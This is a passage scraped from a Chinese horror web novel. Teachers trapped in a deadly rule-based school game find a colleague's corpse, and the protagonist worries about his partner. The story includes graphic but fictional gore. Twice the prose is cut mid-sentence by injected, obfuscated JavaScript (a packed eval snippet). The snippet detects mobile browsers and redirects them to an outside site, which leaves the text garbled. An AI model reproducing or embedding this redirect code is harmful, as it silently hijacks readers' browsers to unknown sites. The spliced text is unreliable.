时间慢慢推移。大伙儿差不多都意识到,黄文墨是一定回不来了。 也是这个时候,许久没有发言的闻淙忽地出现,“我请郑主任帮忙查了监控,黄老师没出教学楼。他在天台的可能性很大,郑主任说愿意帮忙一起去看看。” 众人面面相觑起来。难道他们前面的猜想错了,本局这位“指引NPC”还真是个难得的好人? 如果闻淙知道这样的想法,一定会否认:“怎么可能。听说可能有学生违反校规、在死后……不对,在放学后依然徘徊在校园内,这位主任的眼珠子都要绿了,拿到加班条就开始一个劲儿催促我走快点、跟上他呢。” 坦白来说,他心里其实也没什么保障。 黄文墨在天台上这件事应该是确定的,可其他他用来吸引郑主任的话却纯粹是对白天探听到的各种消息的加工改造。逻辑是有,哪些环节弄错了的可能性却很大。 如果天台上徘徊的并不是“逗留的学生”,如果政教主任的目标根本不在于此,而在违背了《教师守则》内容的“实习教师”们身上…… 闻淙喉结滚动,眼里闪过一次孤注一掷的疯狂! 他才是始终跟在政教主任身边的那个。就算后者真的发狂,他的第一个下手对象也只会是自己。 闻淙心甘情愿背上这份风险。再回到没有宁琤的世界里,对他来说和死亡没什么两样! 唯独让他担忧的,就是哥察觉今晚不会回去之后,会不会…… 正想着宁琤的事,青年忽地听到一声“砰”响。 闻淙脚步停顿,视线比大脑更快地接触到信息。 教学楼前,距离他只有不到两米远的地方,一具身体——不,应该是尸体了——刚刚落在地上。 虽然面颊贴着地面,闻淙还是认出来,那正是失踪了的黄文墨。 此时此刻,对方的四肢不自然地扭曲着。殷红的鲜血以身体为中心,向四面八方蔓延开来,像是一朵浓艳而诡异的花。 “花瓣”之上、血液之中,似乎还夹杂着一些细碎的肉块。 晚间昏暗的光线下,这一幕显得格外恐怖而刺眼。 闻淙舌尖抵着上颚,喉咙像是被一只无形的手扼住,发不出半点声音。 不光是他,其他正从各个方向赶来的【玩家】也是如此。都走到这一步了,谁没见过几个死人?可又不是天生冷血,谁又能对同类的惨状熟视无睹? 这种时候,政教主任的开怀就显得分外刺目了。 只见他仰着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14958320|155253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,注视着正站在天台边缘的一个细薄身影,喉咙中发出振奋的“嗬嗬”声响。 下一息,他脚下一踩,竟是直接跳到了天台上! 众人只听得一声“轰”响,再接着,传入耳中的便是尖锐嘶叫! 这声响像是指甲在黑板上刮过,刺得众人头皮发麻。紧接着,一阵沉闷的撞击声传来,像是巨锤砸在厚重的铁板上,震得楼下地面都跟着微微颤抖。 姚谦来不及思考自己今晚一个人睡觉时会不会遭遇危险,颤颤巍巍道:“这、这楼不会被他们打塌了吧?” “应该不会。”闻淙回答。 所有人中,他是最镇定的一个。此刻仰着头,望着楼上偶尔露出的身影,口中分析:“政教主任未必不知道有死去的学生在楼上,大概也想下手挺久了,但一直没有合适的机会……【它们】同样是需要遵守【规则】的,咱们现在要做的,就是帮着找到突破口。” 比如黄文墨失踪,郑主任留下帮忙寻找。 拿到加班条后,剩下的事就用不到【玩家】操心了。 “黄老师负责的学生里一定有人有问题。”闻淙又说,“四个人,咱们就算是纯靠蒙,蒙对的概率也已经比之前大多了。” 这算是好消息吗?从完成任务的角度来说,或许的确是这样。可在场的玩家里,没有任何一个笑得出来。 尤其是在几分钟过去、一脸餍足的政教主任从楼上跳下来,却还是在拿贪婪的目光望着黄文墨的尸体的时候。 大部分情况下,【玩家】的尸体会被【游戏】自主清理,但这当中是有时间差的。 如果政教主任这会儿想对黄文墨的尸体做些什么,众人根本毫无办法。 好在前者到底没有这么做。脸上透出遗憾,他挪开目光,笑着和闻淙讲:“人找到了就好。哈哈。” 哈哈,哈哈,哈哈—— 闻淙压住“这具尸体大约会被留给【光明小学】本身”的念头和随之而来的反胃感,扯出一个笑脸,和政教主任提出,请对方送自己回家。 大约的确是吃饱喝足后心情不错的原因,对方答应了闻淙的请求。 在其他人悚然的目光中,一人一诡异从学校大门走出。不知政教主任用了什么手段,总归闻淙还真没受到【雾】的影响。 只是这依然是一条无比漫长的路。越是往前,闻淙越是能嗅到身侧怪物身上浓郁的血腥味。身体的本能在告诉他危险、尽快逃离,可闻淙的嘴却在说:“郑主任,其实还有一件事,我想跟你请教一下。” 政教主任还是笑呵呵地看过来。腥红肥厚的舌头在嘴唇上舔了舔,不等闻淙多问,【它】竟是主动道:“哦,是转正的事儿吧?……小闻啊,你们这一批实习老师里,我最看好的就是你了。要真有人能留下来,那肯定也是你。 “哈哈,这些就扯远了。其实咱们学校的转正条件也简单,只要你在公开课上得到五个以上正式职工的认可就可以。我算一个,省下四个人你得自己找啊。 “不过咱们先说好,今天的事儿呢,可算不到到时候的打分标准里。” 37.番外五(六) 政教主任不光是把闻淙送回小区,还贴心地一路护着他到了单元楼下。 这么走下来,虽然闻淙身上还是不可不免地沾上了【雾】,人却是无碍的。 “那小闻老师,”他搓搓手,“咱们明天学校见。” 看样子还真是对闻淙怀着极大的期待。 闻淙只好回给对方一个假笑。等扭过头,他一面上楼一面在心里扒拉,自己要邀请哪四个人来听课。 再有,这个世界的活人到底把日子过得多水深火热?上课的老师不是人,同桌的同学不是人,就连楼下的邻居也不是人。 就算哥现在也不是人了,想到对方一天到晚都在和这些鬼东西打交道,闻淙还是心疼。 怀着半是沉重、半是期许的心情,青年在男朋友家外站定,“笃笃笃”地敲起了门。 等到脚步声传来,闻淙脸上早早挂出笑容,要喊出那句惯常的“哥”。 然而今天又有些不同。 随着房门开启,不等声音从嗓子眼里冒出来,外来者脸上浮出几分疑惑。 鼻尖动了动,再动了动。 怎么回事?哥家里怎么有这么重的油漆味道? 闻淙先是怔然,直到宁琤叫了一句他的名字,他才蓦地回过神来。 “咚咚,咚咚!” 心脏再度开始剧烈跳动,无声的疼痛跟着袭来。 闻淙双目微微发红,手指发抖,往前一步,在宁琤完全没有反应过来时将他按住。 “你怎么了?”他问,“为什么这里……哥,你是不是受伤了?” …… …… 很早以前,宁琤曾总结出一条“经验”。 【它们】的【致命规则】,往往与其诞生时最大的执念有关; 同时,【它们】的【能力】,则与曾经死去的方式直接挂钩。 …… …… 宁琤被油漆淹没的画面,是闻淙失去他以后做得最多的噩梦。 他会在其中和自己最爱的最亲密的最重要的人一同窒息,陷入“我们终于还是在一起了”的虚幻满足当中,又在睁眼之后落入更长久的茫然苦痛。 直到从其他人口中听说宁琤似乎还【活着】,这一切才终是被按下暂停键。 然而,现在,他最深切的噩梦再一次爆发了。 失去的恐惧、无法保护的愤怒,这一切都在闻淙脑海之中翻涌。直到他感受到一双手温柔地落在自己背后,听到耳畔熟悉的、无奈的叹息声,发热的头脑才终于稍稍冷静下来。 “我没事。”宁琤很快地、轻轻地说,像是怕被什么存在听到似的。“小淙,放心好了。” 闻淙怔然,抬头去看眼前之人。可这时候宁琤已经灵巧地转过身,从他的怀抱中挣脱。 “来都来了,”闻淙的爱人一本正经地说,“就让你再留下吃一顿饭吧。” 闻淙看着对方,一动不动。 直到宁琤伸出手,疑惑地在他面前晃一晃,配上“怎么回事,难道是傻了”的碎碎念,他才回过神,重新露出微笑。 “好啊,”青年开心道,“谢谢哥!” 虽然心已经放下大半,但接下来的共处时间,闻淙还是一直在靠近宁琤、努力观察。 “明明有事却为了哄骗老公,强行装成没事”这事儿,他哥绝对干得出来。 好在闻淙看来看去,还是觉得宁琤应该真的无碍。等到两人分开的时候,还难得和他发出邀请,要他明日再来。 闻淙的第一反应是对方已经软化了态度、愿意接受自己留在眼下世界的方案。可细细去看,又察觉不对。 哥仿佛还是不愿意与他有太多接触。与此同时,又强调明早有话要说。 “哥果然还是很在意我”——值得高兴。 “哥的头发……怎么变白了?”——闻淙被吓到了。 奈何宁琤不愿意好好给出答案,不光如此,他竟然直接把闻淙赶走。 一鼓作气,将人直接塞进502的屋门不说,还对门锁做了什么,导致闻淙努力了足足半个小时,都没把房门打开。 闻淙心头焦灼,再怎么知道自己干守着也不是办法、还是得有足够睡眠,确保明天的状态,也依然是一夜辗转反侧。 第二日天刚亮,他便一骨碌从床上爬起来,披着床单冲向门口。 这回屋门顺利地打开了。闻淙双目发光,赶忙来到隔壁。可当他要抬手敲击的时候,青年又犹豫了。 哥特地叮嘱过,那就是不希望自己到的太早。 现在几点来着?……回家看一眼,还没到六点半呢。 闻淙心头挣扎,想了半天,还是没有发出动静。 回去躺着却是不可能的。他把手机取出来,维持着披床单的姿势,开始在宁琤家门口踱步。 看两眼“实习老师”群里的内容,再看两眼时间。 坏消息是昨晚宿舍楼又双叒出了事。就虽然有赵驰的前车之鉴,姚谦却还是中了套,和半夜来找他同住的“赵驰”说了话。 只是他看起来唯唯诺诺,实际竟也是个带着道具进来的。这会儿虽然状态很差,但人还活着。 好消息是凭借高超的记忆力,贾简一个不带一班的老师竟已经整理出黄文墨负责的几个学生的名单和基本情况。 四个名字发出来,最先被察觉的是一件事:“王宇晨不在里面?” “不在。”贾简说。她又@负责盯着这头明“狼”的几人,问这些天几个学生有没有接触。 赵驰和姚谦回忆一番,都道看不到几个人有什么明面上的关联。 和黄文墨同属英语组的眼镜男温狄则回复:“任逸凡?我对这个名字有印象,他昨天下午到办公室找过黄老师。” 新的线索出现了。贾简很快问:“温老师,他具体是什么时候去的?和黄老师说了什么,你听到了吗?” 温狄则过了会儿才回复:“没。我第三节课下课之后先去了趟洗手间,然后才回的办公室,这会儿任逸凡已经在往外走了。我看他的学生证上写着一班,就叫住人问了一句,他说本来要见黄老师,但看到人没在,又看到课表上贴着黄老师第四节是去二班上课,就打算先回教学楼那边。” 闻淙踱步的动作缓缓停下,眼睛眨也不眨地盯着手机,手指继续往下翻动。 忽略掉其他人的疑问,直接看温狄的下一段话。“……我肯定问了啊。但他还真是一班的英语课代表,咬死了是来问作业改完没的。课间又马上要结束了,总不能不让人走吧?” 英语课代表? 不光闻淙,群里其他人也显得失望。 但众人还是同意,等到上学时间,得把任逸凡当做下一个重点目标。 他出现的时间还是太巧合了,而论坛中有一句许多人认可的话:“游戏里没有巧合。” 闻淙看过聊天记录,也觉得当下好像只能这样。 虽然自己总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14974178|155253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得众人似乎忽略了什么,但…… 正琢磨着呢,旁边的屋门打开了。 闻淙瞬间抛下前面的思量,开开心心迎向宁琤。 直到到了学校,他才一拍脑袋:“不对啊!黄文墨的账号不是还在群里吗?” 他自然不是觉得已经死了的人也应该加入讨论,最好能直接说出自己昨晚上天台的原因。问题在于,在这种信号没有被屏蔽、大伙儿一直能联络的场地里,黄文墨是遇到了什么事儿,才让他连条消息都不发,就翘课走人了? “他说不定根本没想到自己回不去。”青年喃喃自语,“不过,就算这样,他也还是应该发个消息——甚至想着能不能带个人一起去天台上。” 或者说,还有一种可能性。 黄文墨其实已经发出信号了,却没有被任何人看到,更无从得到回应。 闻淙一脚踏入校门,抬眼看着前方大楼,眼里闪过一道微光。 五分钟后,他出现在天台上。 昨晚政教主任和这儿“原住民”打斗时留下的痕迹还在,但除了肉眼看到的那些破烂砖头,此地再没什么不寻常的地方。 闻淙在上面走了一圈儿,没费什么劲就找到了黄文墨的手机。 他第一时间将对方最后明明发了出去、众人却没有看到的消息拍下来、自己发进群里。想了想,还补充了句:“看到扣1。” 众人:“……111111。” 赵驰:“小闻哥,什么个情况啊?” 闻淙:“任逸凡就是有问题。除了他,恐怕没人会在那个时间点干扰一把黄老师的手机信号。” 【它们】当中的很多成员都有这个技能,众人也或多或少有无论如何都联络不上其他人的经历。看了闻淙的话,一个个都迅速领会了他的意思。 赵驰发了几个“裂开”的表情,继续问:“等等,我怎么觉得有点奇怪啊。如果说黄老师触犯了什么【规则】,最后害了他的怎么会是天台那位?不应该是任逸凡自己吗!” 同理,如果黄文墨压根没招惹到任逸凡,他又为什么要这么做? 他一时想不明白,其他人却已经有了思路。 贾简道:“恐怕是昨天黄老师找他谈话的时候发生了什么,让他觉得必须得这么做。” 而会让【它们】有所触动的,一定不会是普通人类,而是更高层级的诡异。 “是校规。”闻淙道,“黄老师让任逸凡知道,他发现学生们正在学校‘玩游戏’了。” 他打字到这里,眉尖又一次压了下去。 这实在不算是一个好消息。如果任逸凡并非站在“狼”的立场,仅仅是作为一个寻常的、不希望自己的违规行为被发现的学生,众人却一门心思追着他不放,无疑是会浪费大量时间的。 论坛里还有一句所有人耳熟能详的话:“正确的规则是保护,也是限制。”简单几个字,正说明了众人现在的处境。 在闻淙经历过的诸多任务里,【光明小学】的【规则】之多,能排得上前几。更可贵的是,从《教师守则》到其他规矩,都很少有被污染更改的地方。 乍看起来这是好事,大伙儿只要认真遵循就能活下去。可真这么做了,也等同于他们无法对学生做盯梢、询问之外的任何事。 毕竟整个《教师守则》都围绕着一个原则:老师应该向学生教导知识,为他们提供在校期间的保护。 ……或许自己还是应该去找朱陆仪聊聊。